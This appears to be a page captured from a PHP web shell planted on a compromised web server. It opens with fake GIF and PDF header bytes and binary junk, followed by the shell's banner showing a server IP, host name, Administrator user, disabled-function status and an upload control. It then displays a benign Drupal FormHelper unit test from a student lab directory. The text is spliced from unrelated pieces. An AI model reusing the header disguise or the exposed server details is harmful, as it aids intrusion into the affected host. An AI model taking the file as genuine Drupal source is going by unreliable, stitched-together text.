GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /nginx/html/Student/JimMartinson/Lab12/drupal/core/tests/Drupal/Tests/Core/Form/ |
Upload File : |
<?php namespace Drupal\Tests\Core\Form; use Drupal\Core\Form\FormHelper; use Drupal\Tests\UnitTestCase; /** * @coversDefaultClass \Drupal\Core\Form\FormHelper * @group Form */ class FormHelperTest extends UnitTestCase { /** * Tests rewriting the #states selectors. * * @covers ::rewriteStatesSelector */ public function testRewriteStatesSelector() { // Simple selectors. $value = ['value' => 'medium']; $form['foo']['#states'] = [ 'visible' => [ 'select[name="fields[foo-id][settings_edit_form][settings][image_style]"]' => $value, ], ]; FormHelper::rewriteStatesSelector($form, 'fields[foo-id][settings_edit_form]', 'options'); $expected_selector = 'select[name="options[settings][image_style]"]'; $this->assertSame($form['foo']['#states']['visible'][$expected_selector], $value, 'The #states selector was not properly rewritten.'); // Complex selectors. $form = []; $form['bar']['#states'] = [ 'visible' => [ [ ':input[name="menu[type]"]' => ['value' => 'normal'], ], [ ':input[name="menu[type]"]' => ['value' => 'tab'], ], ':input[name="menu[type]"]' => ['value' => 'default tab'], ], // Example from https://www.drupal.org/node/1464758 'disabled' => [ '[name="menu[options][dependee_1]"]' => ['value' => 'ON'], [ ['[name="menu[options][dependee_2]"]' => ['value' => 'ON']], ['[name="menu[options][dependee_3]"]' => ['value' => 'ON']], ], [ ['[name="menu[options][dependee_4]"]' => ['value' => 'ON']], 'xor', ['[name="menu[options][dependee_5]"]' => ['value' => 'ON']], ], ], ]; $expected['bar']['#states'] = [ 'visible' => [ [ ':input[name="options[type]"]' => ['value' => 'normal'], ], [ ':input[name="options[type]"]' => ['value' => 'tab'], ], ':input[name="options[type]"]' => ['value' => 'default tab'], ], 'disabled' => [ '[name="options[options][dependee_1]"]' => ['value' => 'ON'], [ ['[name="options[options][dependee_2]"]' => ['value' => 'ON']], ['[name="options[options][dependee_3]"]' => ['value' => 'ON']], ], [ ['[name="options[options][dependee_4]"]' => ['value' => 'ON']], 'xor', ['[name="options[options][dependee_5]"]' => ['value' => 'ON']], ], ], ]; FormHelper::rewriteStatesSelector($form, 'menu', 'options'); $this->assertSame($expected, $form, 'The #states selectors were properly rewritten.'); } }